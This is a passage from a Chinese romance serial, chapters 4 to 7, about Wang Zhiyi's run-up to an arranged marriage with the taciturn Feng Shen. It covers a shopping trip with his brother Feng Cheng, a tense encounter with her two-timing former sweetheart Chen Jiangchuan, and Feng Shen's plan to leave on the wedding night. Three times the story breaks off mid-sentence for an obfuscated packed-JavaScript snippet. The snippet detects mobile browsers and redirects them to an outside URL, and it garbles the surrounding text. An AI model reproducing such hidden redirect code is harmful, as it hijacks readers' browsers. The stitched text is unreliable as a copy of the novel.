汪知意得了他这句话,如蒙大赦,扭头就想走,又觉得自己太急,对他笑笑,叮嘱道:“下雪了,路上滑,你走路小心些。” 封慎点头。 汪知意又冲他挥挥手道别,才转身。 封慎看着她的背影,眉心有些皱。 他原打算结婚后,给足她钱,她想工作还是想再去跳舞,都随她自己开心,只要不整天围着他转,又或者让他时时刻刻都要陪着她就可以,他近几年都会非常忙,不在家的时候多,没有多少时间能给到她。 可她比他想得还要黏人些,也不知道结婚后会不会更黏人。 黏人的汪知意头也不回地朝着屋里小跑着奔去。 陆敏君赶紧直起腰,一扭头和身后的汪思齐撞上,陆敏君嫌他碍事儿,拿胳膊肘顶开他,快步走回厨房。 汪思齐腿脚不利索,走不掉,只能停在原地,让自己别慌。 汪知意掀帘进屋,看到汪思齐站在窗前,一手拿着蒜,一手还攥着火钳,她走过来扶他:“爸,你怎么站这儿?” 汪思齐把火钳放下,回得镇定:“你妈让我边锻炼走路边剥蒜,待会儿吃饺子,”问得也镇定,“路上冷不冷,我看雪下得挺大。” 汪知意笑:“一点儿都不冷,都走了我一身的汗。” 陆敏君的声音从厨房传出来:“幺幺回来了,饺子已经下锅了,再滚一次水就能熟,你快去洗手,咱马上开饭。” 汪知意脆生生地应好:“我早就饿得不行了,回来的路上一直想着晚上吃饺子就好了。” “我就猜到你想吃饺子,下午我就开始剁肉馅了。”陆敏君笑着从厨房门口探出头,不着痕迹地打量她一眼。 脸蛋儿白里透着红粉,清亮的眼睛里汪着水,唇红红的,看不出什么异样,也不知道两个人在院门口站了那么老半天,都干嘛了。 汪大夫一直觉得封慎脾气硬,话又少,很难有个笑脸的时候,心思更是深不见底,跟这样的人过日子,幺幺以后肯定会受欺负,陆敏君和他看法相反,她倒觉得幺幺这甜甜软软的性子正好能制住封慎。 柔克刚,那可是自古不变的真理,等结婚后俩人关起门真正过起日子来,谁拿捏谁这件事,现在还真说不准。 陆敏君暗自琢磨着,笑又加深。 汪知意问她爸:“我妈今天碰到什么高兴事儿了,这大雪天的怎么看起来满面春风的。” 汪思齐还在记恨陆敏君刚才的背信弃义,要不是他反应快,偷看就得被闺女逮个正着,他这张老脸还往哪儿搁。 他暗戳戳地告状:“看到她宝贝女婿回来了,高兴呗,你是不知道,现在家里你跟你姐的地位都得下降,封慎已经排到了第一,谁都比不上。” 汪思齐不是不纳闷,这小老太太整天欢喜香港那个叫什么黎明的明星欢喜得不行,录音机里恨不得一天到晚都放他的歌,黎明白得可是跟他年轻的时候有一拼,她这选起女婿来,口味怎么就完全变了,死活中意封慎那个黑煤球。 陆敏君翻他一眼:“我当然高兴,你也不看看封慎给我带来的这堆东西,摆一地都摆不完,”她又看汪知意,笑得眉毛都要飞起来,“封慎还给我拿来一电饭锅,能煮米饭,还能熬粥炖鸡汤,比你吉芳婶儿那个高级多了,看她以后还来给我显摆。“ 汪知意看着墙角的那堆东西,他每次过来,手都不会空着,米面肉这些都是必拿的,她爸现在需要忌口什么又需用补充什么营养,他好像也全都清楚,就算他不在镇上,也会时不时让人送些鱼虾水果过来。 他是看起来凶巴巴的,可对她爸妈是真的好,所以她不需要那么怕他,其实每多一次和他见面,她心里的想法就会多一些坚定,她当初的抓阄没有抓错,他是适合结婚的人,她对他其实也没有太多的要求,他对她家里人好,她也会对他好的,很好很好的那种好。 汪知意转头看一眼窗外,玻璃蒙着雾白的水气,看不清外面模糊的夜色,他应该已经走了。 封慎站在原地,望着窗户里透出的暖黄灯光,一直没动,雪覆在肩头,铺满了一层。 她说话的声音隐约传出来,听不清在说什么,尾音里都带着娇软的笑,封慎蹙着的眉头慢慢又松开,黏人些就黏人些吧,她年纪还小,对结婚这件事应该会有很多期待。 她不算难哄,两根糖葫芦一瓶香水就能让她笑那么甜,他给不了她多少时间,也给不了她多少感情上的喜欢,多给她买些她喜欢的东西就是,只要能用钱解决的事情就不是什么麻烦事。 雪下一夜,转天日历上又撕掉一页,距婚期只剩十二天的时间。 封诚开车带着陆敏君和汪知意一大早就进了城,等陆敏君买完清单上的所有东西,天已经擦了黑,商场也快要关门。 陆敏君走了一天的路,一点儿都不见累,在前面走得健步如飞,汪知意两只手提着大包小包跟在后面,已经有些挪不动腿,同样挪不动腿的还有封诚。 封诚原以为大哥今天交待给他的这个任务没什么难度,也就当个司机,君姨和知意妹妹买什么,他负责付钱结账拎东西就行。 他完全没想到商场里比打仗还热闹,大年根底下,人多得不行,商家又搞促销活动,大娘婶子们就跟疯了一样,买东西都是要靠抢的。 封诚还想在前面冲锋开路,结果半个胳膊都没冲进去,就被人从摊位上给挤了出来,他新买的皮鞋上还多了几个脚印,要不是君姨和知意妹妹把他给护住,他得被大娘们乱脚踩到地底下去也说不准。 冲锋开路没开成也就算了,结账买单他也抢不过君姨,就连中午吃饭的钱,在他去厕所的功夫也让知意妹妹给付掉了,大哥给他的钱他是一分都没花出去,今天回去,他少不了要挨一顿训。 封诚挪着步子挨到汪知意身旁,想让知意妹妹回头在大哥面前说他两句好话,他这一天虽说没有功劳,多少也是有些苦劳的,脚被人踩得都快废了不说,手背上也多了几道划印子,都是他拿东西的时候,大娘们伸过来的无情铁手给他挠的。 汪知意看着封诚手背上的红印子,小小的“呀”一声,面露担忧,有些替他疼:“怎么这么严重,等到家得赶紧抹些药才行。” 封诚一听还需要抹药就乐了,抹药不怕,多抹点更好,这可都是他在大哥面前邀功的战绩。 两个人低声说着话,在走动的不经意间,肩挨得有些近。 汪知意今天穿了件雪白的羽绒服,围了条红围巾,衬得一张尖尖的小脸儿愈发粉嫩。 封诚身上是黑色羊绒大衣,二十郎当岁的大小伙子正是爱俏的年纪,因为今天要进城,特意拿摩丝打了头发,封诚虽然没有他二哥封洵那样白净,但也有一张俊俏的脸,尤其是那双单眼皮的桃花眼,一笑起来,能让小女生的心砰砰跳。 两个人头碰头的挨在一起,又都是青春好颜色,周边行人的视线都有意无意地探过来,猜测这是哪家的新婚小夫妻来购置年货。 封慎不紧不慢地走过来,目光在两人身上无声地扫了一圈,又看陆敏君,叫一声“君姨”。 陆敏君脑子里正盘算着还有没有落下的东西没买,才看到他,话还没说,笑先出来,准丈母娘对这个女婿是打心里欢喜:“封慎,你怎么来了,你那边的事情都办完了?” 封慎回道:“都办完了。” 封诚抬眼看到大哥,脸上立马挂出讨好的笑,汪知意撞进他黑漆漆的眸子里,眼神闪躲了下,又看他,眼睛弯出月牙的弧度。 俩人笑得一样的甜,周围聚拢过来的视线又多了些,再窥到封慎面无表情的那一张脸,心里不约而同“嚯”一声,老天爷欸,这是从哪儿冒出个黑阎王,吓死个人。 但是别人再怕封慎,都没有封诚怕,封洵小时候还有陆敏君帮着带,封诚两岁那年封明宇就和媳妇儿离了婚,他又常年在部队呆,根本就不着家,封诚算是封慎一手带大的,当他半个爹都当得。 封诚在外面再称王称霸,到处给人当“诚哥”,一到封慎面前也蔫得跟个小兔崽子似的,大气儿都不敢出一下。 他今天没把事情办好,先卖苦肉计:“哥,你总算是来了,你快看看我鞋上被踩的脚印子,还有我这手,你看看这被人抓的,知意妹妹说我这得抹药才行,不然回头再一挨冻,那可就严重了,说不准截肢都有可能。” 额……汪知意有些呆地看着封三哥,前面的话她是说过,最后一句话不是从她嘴里出来的。 封慎没搭理他,走到汪知意的身旁,接她手里的东西。 汪知意这才从封诚脸上移开视线,递给他几个袋子,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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封慎视线从她脸上划过,转头和陆敏君说上了话,不用多心疼封诚,这混小子皮糙肉厚,小时候光被狗就咬过不止一次,现在不过就是让人抓了两下,不碍事儿。 陆敏君一听这话更是心疼上了,连问封诚都被狗咬哪儿了,怎么还让咬了几次。 封诚打小就没得到过多少母爱,尤其喜欢陆敏君拿他当小孩儿疼,平时有事儿没事儿就往汪家跑,现在逮到机会了装可怜装得更起劲。 汪知意看一眼封三哥,又看向封慎,他对他这个弟弟面上不耐烦的时候居多,心里应该很疼他吧,话说得像是随口,其实是想让封三哥多得些关心。 封慎低头看她。 汪知意目光来不及躲,她压下心慌脸热,伸手给他抚了抚领口,他今天穿了件黑色皮夹克,很衬他。 他五官其实很好看,皮肤也好,瞳仁黑又亮,眼窝深邃,鼻梁高挺,唇薄薄的像刀刃,只不过因为他气场太强,常常会让人忽略掉他的长相。 汪知意有些出神,指尖不小心蹭过他的颈侧,她眼神轻晃,手急着向后缩,却被他攥住。 封慎握紧她的手,不让她再乱动,她今天有意无意的小动作很多,这姑娘虽然动不动就脸红害羞,胆子好像很大,刚才还对着他的耳朵吹气。 他捏得她有些重,汪知意试着抽回自己的手,封慎松了些力道,没有完全松开,食指叩着她的手腕轻敲了下,汪知意想到昨晚他的唇碰过的地方,眼又晃,没再动,由他牵着她的手,跟上他的脚步,出了商场。 外面风很大,汪知意一出去就呛了口风,她落后他一步,往他身后躲去了些,他的背很宽,比墙还适合挡风。 路边有卖皮手套的摊子,陆敏君停住脚,翻着看了两眼,料子很好,做工也好,价格也合适,比自己做还划算,老板看陆敏君有想买的意思,天太冷,他又急着收摊,直接道,要是买四副,就再送一副。 陆敏君一听,先给封诚挑了一副,还有幺幺和封慎的,再给家里的汪大夫买一副,要不让他知道了,又该说她偏心女婿,再给她自己挑一副,正好。 封诚得了手套先跟他大哥显摆,比起他这个准女婿,君姨还是更疼我一些。 汪知意看着封三哥眉飞色舞的样子,就像个得了糖果的小朋友,不由地笑,一笑又呛了些风,风进到胃里起了嗝,她手按住胸口,笑还不停。 封慎牵着她的手揣进了自己衣兜里,他的手又从衣兜里出来,拉起她羽绒服的帽子给她扣到头上,将她包裹严实。 汪知意蜷缩在他兜里的手动了下,笑又转浓。 封诚看看知意妹妹,又瞅瞅他大哥,眼睛笑眯眯,语气贱兮兮:“大哥,我们知意妹妹也给你买东西了。” 封慎放下手里的袋子,掏出钱包付钱给老板,看他一眼,淡声道:“你该叫大嫂。” 空气里静了一瞬,封诚愣愣地呆住。 正在挑手套的陆敏君唇角上扬,她又压下去,最后没压住,又高高地翘起。 汪知意已经哽到嗓子里的嗝硬生生地给吓了回去,她茫然看他。 现在就要叫吗? 她实在是……还没做好给谁当大嫂的准备。 5. 第 5 章 封诚让迎面的寒风抽回神,马上立正站直,面向汪知意,恭恭敬敬叫了声“大嫂”。 汪知意被他这一整套做派闹了个红脸,她唇张了张,不知道该如何应,有些无措地看封慎,小声道:“我是不是得准备个红包?” 封慎看她的嗝止住了,伸手给她扯了扯围巾,直接遮住她半张脸,免得她再吃风,回道:“不用。” 封诚嚷嚷:“欸,大哥,什么叫不用,不给可不行啊,老话说长嫂如母,我这一声大嫂叫得分量可不轻,不给个大红包都说不过去,”他又找帮手,“你说对吗君姨?” 陆敏君背着身已经笑得不行了,回头正经道:“是得给,没事儿,回头让幺幺补给你,我会提醒她,不会忘了你这茬儿,准给你包个大的。“ 封诚又要乐,封慎眼风扫过来,封诚老老实实闭上了咧开的嘴,可眼里戏谑的笑根本憋不住。 汪知意只有一双乌亮的杏仁眸露在外面,脸上的热全都藏在了围巾下面,她虽然羞臊,看着倒也镇定。 其实只要不是面对封慎,她的紧张就不会那么多,她上学的时候登台表演的次数不少,一般大大小小的场合都不会怵,现在又有封慎在她身旁给她仗势。 她大大方方道:“待会儿回去就补,三哥现在是咱家辈分最小的,以后逢年过节也该得个大红包。” 封诚眼里的笑滞住,还真是,汪茵姐那边还没生小娃,知意妹妹这大嫂一当,他确实就成了家里辈分最小的那一个,除非大哥结婚后赶紧生个小囡,让他当了小叔,不然他就得一直当老小。 陆敏君看着傻眼的封诚,笑出声。 汪知意眼睛弯了弯,不能只让封三哥逗她玩儿。 封慎接过老板找回的零钱放回钱包里,又把钱包递给她。 汪知意看他。 封慎扬下巴点封诚:“现在给。” 汪知意犹豫一秒,手从他衣兜里出来,接过钱包,打开看,有些惊,又看他,这么多钱,她要给多少。 封慎道:“你看着给。” 既然是让她做主,汪知意直接将那沓整百的崭新钞票全都拿了出来。 封诚一看那厚厚的一沓钱,眼睛蹭蹭地往外冒亮光。 汪知意想到什么,又把钱放回去一半,拿出另一半,塞到封诚新得的皮手套里当红包,递给他。 就这一半也着实不少了,封诚心满意足地笑开了花,心道还是知意妹妹大方,可是嘴上还不依不饶地打趣:“大嫂,你这可不行,要给就全给,还留一半做什么,你们这还没领证呢,怎么先替我大哥省上钱了。” 汪知意道:“不能只三哥你有红包,二哥也得有,这一半是留给二哥的,”她合上钱包,又把钱包塞回到封慎的衣兜里,回应封诚的打趣:“再说,你大哥挣钱辛苦,我替他省着些花也是应该的。” 封诚一愣,又忍不住笑,他大哥真的是捡到宝了,知意妹妹可太有意思了。 封慎也有意外,他还以为她这动不动就红眼眶的娇娇性子,应付不来这种玩笑话,事事处处都得要人维护才行。 汪知意把滚烫的面皮重新埋进围巾里,到时候在婚礼上大家伙儿闹得肯定比封三哥还要厉害,她就当提前练习了。 一直竖着耳朵当观众的陆敏君终于挑好几副手套,放进老板递来的袋子里,手一挥,笑道:“封慎都付完钱了哈,咱走了,一大清早出门,到现在还没回去,汪大夫在家肯定早就念叨上了。” 陆敏君都后悔今天没带着汪大夫一块儿来了,就该让他也看看,小夫妻俩一唱一和的,配合的可不是一般的默契,让他整天还担心这担心那,纯属是闲的。 封诚开来的是一辆面包车,今天一天他来来回回往车里运东西,跑了不下六七趟,后备箱已经塞得满满当当的了,后车座上也是满的,封诚陪着陆敏君坐在倒数第二排,汪知意容易晕车,坐在了副驾,封慎负责开车。 坐进车里,稍微暖和了些,汪知意把围巾压到下巴下面,那个纸袋子一直被她提在手里,袋子里装的是文胸内衣,结婚当天要穿的。 其实家里还有好几套新的都还没有穿过,但她妈说那些太素净,结婚那天就该从里到外都是红的,刚才她自己逛的时候,又买了两套。 店员知道她是结婚要穿的,推荐的不是蕾丝的就是薄纱的,她选了一套中规中矩的,又选了一套不那么中规中矩的,想到新婚夜,她心里不是不发慌,可他们又不是假结婚,该发生的总会发生,所以该准备好的她也要准备好。 汪知意攥紧袋子,莫名觉得有些热,偏头看向车窗外,封慎倾身过来,汪知意感觉到他气息的贴近,背紧压到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263109|198056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座椅上,呼吸都屏住,回身看他,不知道他要做什么。 封慎扯过安全带给她系上,又坐回驾驶座,汪知意呼吸这才顺畅了些,含混地道了声谢,封慎看她一眼,启动车,踩下油门,开口道:“以后该花就花,不用替我省着。” 汪知意微怔,反应过来他说的是什么,又看他,封慎打转方向盘,将车开入大道上,汪知意目光落在他的侧脸,一时没有动。 封慎回看她,视线相撞上,汪知意下意识地要转开眼,又定住,对他弯弯唇,轻声回:“好。” 陆敏君和封诚正聊着晚上央视热播的电视剧《戏说乾隆》,封慎从她含水的笑眼里移开目光,看向前方,汪知意也收回视线,头靠着椅背,又看向车窗外。 街道两边的树飞快地向后倒退着,汪知意慢慢阖上了眼,他的车开得很稳,不像封三哥,把车开得飘一阵飞一阵的,早晨进城的时候,她一路上都紧揪着安全带,不敢放松一刻,生怕会出什么意外。 路上的积雪已经化尽,车也不多,不到一个小时,就回了镇上,车开到胡同口,一辆锃光的黑色小轿车从胡同里开出来,封慎将车靠边停下,让出路来。 昏暗的路灯下,封诚看清车标,亮着眼睛“嚯”了一声,这可是辆好车,还是进口的,这镇上的有钱人还真是不少哈。 陆敏君眯着眼看清车里的人,脸直接沉下来,他姓陈的竟然还敢来登门,她看他是活得不耐烦了。 汪知意还在熟睡中,她昨晚没怎么睡好,今天起了个大早,又走了一天的路,早就累得不行了,这一路都是睡过来的。 封慎伸手将她快吃到嘴里的围巾给扯出来,又往下压了压围巾,她睡觉的样子倒是乖巧,一路动都没动过一下,一个姿势一直睡到了现在。 她膝盖上放着的袋子快要掉下去,封慎拿起袋子,顺手放到了中控台上,汪知意唇角无知无觉地嚅动了下,像是在睡梦中找奶吃的小猫儿,封慎看着她唇上沾着的发丝,手抬了下,又没有动。 陈江川看到汪知意,急急地刹住车,轮胎擦过水泥地面的声音尤其刺耳,封慎眉心微蹙,掀起眼看向外面,神情薄淡,陈江川目光也落到他身上,一向温润的脸上泄出来些寒意。 两个男人隔着车窗对上视线。 汪知意在迷迷糊糊中睁开了眼。 6. 第 6 章 混沌的视野渐清晰,汪知意看清对面车里的人,慢慢清醒过来,又坐直些身,平静地从陈江川脸上转开眼,像是看到了一个无关紧要的路人。 陈江川犹如一盆冰水兜头浇下,霎时将他浇了个透心凉,他推门要下车,陆敏君脸更沉,他要是敢凑上前来说话,她开门一脚就把他踹到河对面他老陈家的祖坟堆里去,他以为自己是有多大脸,还敢明目张胆地找上门来挨揍。 胡同那头又开过来一辆摩托车,朝陈江川着急地揿喇叭,胡同路窄,他的小轿车在那儿堵着,后面的车根本过不去,陈江川望着汪知意,手攥紧门把,最终又落回方向盘,踩下油门,将车开走。 两辆车在夜色中错身而过,寒风凛冽,惨淡的月光挂在树梢,晕出一抹朦胧的光影。 封慎从车窗外收回目光,看了眼她不似平日红润的脸庞,面色深沉,汪知意睫毛一颤,轻声道:“睡得我有些冷。” 陆敏君接话:“幺幺打小就手冰脚冰,就是大夏天热得人直冒汗的时候,她那手脚也是拔凉的,跟冰坨坨一样。” 封诚双手一拍:“这不巧了,我大哥火气旺,就是把刚从地里挖出来的红薯放到他手里,没一会儿他也能给烤熟了。” 陆敏君被逗笑:“那敢情好,幺幺最喜欢吃烤红薯,回头要是想吃了,就让你大哥给烤一块儿,还省柴火了。” 封慎等摩托车也骑过去,启动车,回道:“君姨,回头您去省城看汪茵,都不用坐火车,封诚张一张嘴,就能把您给捎过去。“ 陆敏君笑得眼泪都要出来:“我怎么觉得封诚这张嘴跑得比火车还要快。” 封诚不满道:“现在是丈母娘和女婿站一条战线了是吧?” 陆敏君笑声更大。 汪知意也笑,笑意有些浅,后知后觉地意识到腿上的空落,抬眼寻,看到袋子在中控台上,松一口气,伸手去拿,车子驶进一坑洼处,颠了一下,袋子擦着她的指尖从中控台掉下,汪知意着急捞也没有捞到。 袋子掉到脚垫上,软薄的绸缎料子滑出来,汪知意慌着弯身捡,封慎觑她一眼,目光稍顿,又看向前方,缓下些车速。 汪知意将那二两布料胡乱地塞进袋子里,直起身,结果起得太急,脑袋直接撞上了中控台,但并没有感觉到多少疼,他的手挡在了她的脑门和中控台之间。 后座陆敏君和封诚依旧说得热闹。 汪知意攥紧袋子,靠回椅背,不敢看他,也不知道他有没有看到袋子里掉出来的东西,小声说了句“谢谢”,脸色没了刚才的苍白,红得鲜艳欲滴,一直到车开到家中,她脸上的滚烫也没有落下去。 汪思齐正拖着一条不利落的腿在拖地,陈江川站过的地方他都嫌脏,拖一遍还不行,必须得拖两遍,听见车响,他掀帘出屋。 封慎从车上下来,叫一声“齐叔”,因为陈江川,汪思齐现在看着封慎这张黑脸多少也顺眼了些,难得好声好气地应了声。 封诚人还在车里,已经先叫上了人,汪思齐一听封诚敞亮的声音,脸上的笑又多了些,封诚这张嘴,上到七八十的大爷大妈,下到刚出百天的婴儿,就没有他哄不了的人,原本安静的院子一下子涌进很多热闹。 陈江川的车去而复返,停在胡同里,一墙之隔,墙外冷清寂寥,墙内欢声笑语不停。 陆敏君想帮着搬车上的东西,被封诚半揽半推拉进了屋,汪思齐手里的拖把也让封诚拿了去,换他来拖地。 院子里只剩封慎和汪知意,封慎打开后备箱往外拿里面的袋子,汪知意站在他身旁,伸手接,封慎没给她:“你不用管,先进屋,不是睡冷了。” 汪知意那会儿是睡冷了不假,现在一和他对上眼,身上热气又起,她也先想跑回屋,把手里的袋子给藏起来,可又不好留他一个人在这儿。 她见他拿起一蓝色的纸袋,阻住他:“这个不用拿,给你买了两件衬衫,二哥跟我说了一个你大概的尺码,你拿回去先试一试,不合适的话就给我拿过来,可以换的。” 她想起什么,又看他:“买了一件黑色的一件白色的,你要是不喜欢白色,回头也可以换成黑色,不过我觉得你穿白色应该也好看。” 他好像惯常穿黑色,她还没见过他穿浅色的衣服,这款衬衫的版型很好,料子也很好,她当时看到的第一眼就觉得白色在他身上会更合适,又怕他不喜欢,所以就挑了一黑一白两件。 她虽然不懂香水,也知道那种洋牌子的价格应该不便宜,礼尚往来,她也该给他买些东西。 封慎又将袋子放回车里:“不用换,白色也挺好。”他对衣服没那么多讲究,她喜欢他穿白色他也可以穿白色,这些小事儿上面顺着她的心意来就行。 陆敏君透过窗户瞅了两眼院子里,又跟汪思齐使了个眼色,俩人一前一后进了厨房,陆敏君边洗手边压着声音问:“陈江川来家里了?” 一提起陈江川,汪思齐就气不打一处来:“我直接把他轰走了,”他看陆敏君,“你们在胡同里碰到了?” 陆敏君“嗯”一声:“他还知道要点儿脸,没敢下车。” 汪思齐声音又低了些:“你没跟封慎提过陈江川吧?” 陆敏君横他一眼:“我傻呀,没事儿跟封慎提他干嘛。” 当年那场山体滑坡事故,出事的有两个人,一个是汪明强,另一个是陈逢山,陈逢山就是陈江川他爹,陈逢山死后,他媳妇儿贺淑珍去城里打工,留下只有三岁多的陈江川跟着爷爷过。 当时陈家就住在汪家隔壁,陈老爷子都快七十的人了,身体又不好,陆敏君看爷孙俩可怜,时不时就把人叫到家里来吃饭。 陈江川比汪知意大四岁,两个人算是正经的青梅竹马一起长大,他们俩的情况跟当初的封慎和汪茵还不一样。 汪茵打小就爱听梁山好汉三国演义的故事,一直拿封慎当大哥崇拜,整天恨不得头顶插三根香,能和封慎桃园三结义结拜成义兄义弟。 而幺幺在还不会说话的时候,就最亲近陈江川。 陈江川随了他那个早死的爹,是个温和的性子,还有耐心,又长得白白净净的,人也爱干净,不像别的整天只知道玩土玩泥巴的小男孩儿,他身上的衣服哪怕再旧,什么时候都看不见一点脏,还爱说爱笑,又会哄人,尤其会哄幺幺。 幺幺眼泪多,小时候要是一哭起来,有时陆敏君都哄不住,可只要陈江川一来,一准儿能把她哄笑,就是幺幺长大了,也只认陈江川的哄。 前些年贺淑珍在外面认识了个香港的大老板,她跟着大老板在香港站稳脚跟后,又把陈江川接了过去。 他和幺幺这些年虽然没挑明过关系,但应该是有了什么约定,陆敏君没问过,从每周都打香港那边寄过来的信也大概能猜到。 依照陆敏君和汪思齐原来的心思,陈江川是在他们在眼跟前看着长大的,知根知底,又对幺幺好,俩人是打小积累起来的感情,要是最终能成,也算得上是一件好事。 可是花花世界的大城市迷人眼也迷人心,让陈江川也多了花花心思,他在这头哄着幺幺等他回来,在香港那头已经跟人订完婚,要不是他那个未婚妻把电话打到幺幺的剧团那边,幺幺到现在都还蒙在鼓里。 你说你想娶有钱人家的姑娘为自己奔个好前程,你就去娶,把话说清楚,大家干干净净地一拍两散,谁也别耽误谁。他不,他偏要两头瞒,他把幺幺当什么,他又让别人把幺幺当什么。 陆敏君只要想起他干的这些破烂事儿来,就气得咬牙,幺幺虽然再没提过陈江川,但这些事情压在心里哪儿那么容易过去。 刚才要不是有封慎和封诚在,她都想下车提一桶粪水直接浇到他车上,让他还敢不知死活地跑到家里来。 陆敏君洗完手,接过汪思齐递来的毛巾,随便擦两下:“要是幺幺就是和陈江川谈过又分开,这事儿也好说,可俩人自始至终没挑明过关系,事情反倒说不清,说不清就不说,我们不能自己把屎盆子往幺幺头上扣,别人问起来,最多也就是打小一起玩得好的哥哥妹妹,后来分隔两地,就淡了联系。” 她又拿手指点汪思齐警告:“你那嘴也给我把严实点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263110|198056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你想骂陈江川别当着封慎的面,让他再看出什么,你们男人表面上再大度,一遇到这些事儿,心眼儿小得比那针孔都不如,没事儿还能吃上三分醋,这要是真有点事儿,那还不得拿醋缸把自己给灌死,俩人感情现在本来就没有多深,万一哪一句说多了说重了,进到了他的心里,将来过起日子来都是祸患。” 汪思齐动了动唇,想说什么,话到嘴边,怕说出来会挨骂,又原封不动给咽了回去,就封慎,他黑成那样,醋浇到他身上,都看不出醋色儿来,他还会吃醋? 再说,他又有什么吃醋的资格,他都三十了,虽然封明宇说他一个对象都没谈过,汪思齐是一个字都不信的,他是嫌他长得跟个黑煤球似的没错,但他这样的,喜欢他的姑娘应该也不是没有,他说不定都谈过一二三四五六七八个了。 前几回吃饭一直没能把他灌醉,今天晚上正好有大把的时间,就照着一晚上的功夫,先灌醉他,再严刑拷打好好套套话。 这个黑煤球要是有一点行为不端的地方,别说是到了现在,就是到了结婚那天,哪怕是领完证办完席了,该悔婚照样悔婚。 汪思齐想得豪情万丈,他还没把酒从柜子里拿出来,陆敏君已经一脚将柜门给踢关上了。 不要以为她不知道他打的什么主意,腿还没好全乎,就又馋上酒了,他要是不怕再脑梗一次把自己给梗死,她今晚就把他腌进酒罐子里。 汪思齐自知理亏,嘿嘿笑两声,陆敏君懒得搭理他,掀开灶上砂锅的盖子,看了看里面炖得软烂的排骨,脸色稍微好了些,这小老头在家呆一天也没闲着,院子里晾着洗好的衣服,热乎饭也做好了,还算他有点用处。 她扬声喊屋外的封诚,那地拖一遍就行,拖好赶紧来洗手,咱马上开饭。 封诚应一声,掀开门帘看了看外面,又放下门帘,他还是不去凑热闹了,他叫一声知意妹妹,大哥就已经不乐意了,现在要是再出去,指不定又要被嫌是个锃光瓦亮的电灯泡。 冷风将汪知意身上的热气吹散了些,她一直犹豫着要不要跟他提一嘴陈江川的事情,可又不知道该从哪儿说起,想了想,还是算了,事情已经过去了,也没什么好说的。 ……而且他看起来也不像是会在意这些事情的人。 封慎看她一直不走,拿了个轻省的袋子递给她,汪知意伸手接,胡同里传来几声咳嗽声,她指尖顿住。 咳嗽声又湮没在呼呼的风声里,封慎看她:“怎么了?” 汪知意回过神,冲他笑:“还给你买了身大红的睡衣,我妈说结婚那天都得穿红的才行。” 封慎看了眼袋子里的睡衣,默了片刻,回道:“结婚那天,等酒席一散场,我就得连夜赶去内蒙,那边有些急事儿。” 汪知意睫毛眨两下,虽然她对新婚夜已经做好了心理准备,可每临近婚期一天,她的紧张就会多一些,现在就像是头顶悬着的那把刀在快要落下时,突然被人喊了刀下留人。 封慎打量她的神色,内蒙那边的事情确实着急,年前得处理完,在新婚夜连夜走也是不得以。 不过他们这婚结得仓促,她和他拢共也才见过几面,连熟悉都还算不上,她年纪又小,有些事情还不着急办,给她一段缓冲过度的时间也是好的。 但她要是不满新婚夜一个人过,他也不是不能做些调整,毕竟婚礼是一辈子只有一次的大事,那一天总归是特殊的,丁贵说姑娘们都很在乎仪式上的这些东西,他不想让她觉得委屈。 封慎话还没出口。 汪知意亮着眼睛点头:“好啊,年根底下的,我就知道你事情肯定多,急事可耽误不得,你放心去,票买好了吗?” 封慎没作声,他怎么觉得她对他去内蒙这件事有些巴不得的意思。 汪知意也觉得自己的高兴表现得太明显了,她压了压眼里晶晶亮的光,仰起脸看他,嗓音轻软:“事情办完了,要早点回来,我在家等着你。” 封慎看着她一张一阖的唇,有些沉默。 也不知道她有没有像这样哄过车里那个男人。 7. 第 7 章 她的心思不难看透,那个男人的神情又没有丝毫掩饰,两个人之间大概率是有过什么,有过什么也没什么,她的相貌摆在这儿,又是招人疼的性子,没有过什么才是稀奇事儿。 就连封诚那么个猫狗都嫌的货,凭着他那一张脸,大学还没毕业,已经有过两任对象,喜欢在他们这个年纪来得快去得也快,说是谈男女朋友,过没过心都还不一定,今天能说我爱你,明天一个不开心,就能说我恨你。 封慎对他这个准妻子的前任没多少在意,也不关心,又或是他们想旧情再续,他也可以当那个坏人,想一个正当的理由,先提出退婚,不会损害到她的名声,这桩婚事本就是推到他手边的,要不要继续下去,单看她的意思,他都可以。 汪思齐一听封慎要在新婚夜赶去外地,当下就有些不高兴,你事情再着急,也不急在这一晚,新婚夜留幺幺一个人在家像什么话。 再说你嘴上说是事情着急,谁知道你一个三十多的老光棍儿是不是有什么隐疾,所以才借着去外地办事情遮掩什么,你有什么隐疾不要紧,别再把我们幺幺给害了。 汪思齐嘴刚动一下,陆敏君就瞪了他一眼,人家小两口过日子,事情已经商量好了,幺幺都没不乐意什么,你一个当长辈的少插那没用的嘴。 陆敏君嘴上没说什么,但也留了个心眼,谁家新婚夜不是春宵一刻值千金,男人在这件事上就没有不猴急的,这赶着去外地的她还是头一糟遇到。 她是相信封慎的人品没错,也知道他事情确实是忙,说是有急事,应该就是耽误不得的重要事情。 可经历了陈江川这一遭,陆敏君对自己的直觉已经没了多少信任,她以前还笃定地认为陈江川是绝对靠得住的那一个,结果呢,啪啪打脸了不是。 有些事情提前试试总没有错,如果真的有问题,也好提前刹车将婚事儿停住,如果没问题,就当给小两口增进感情了。 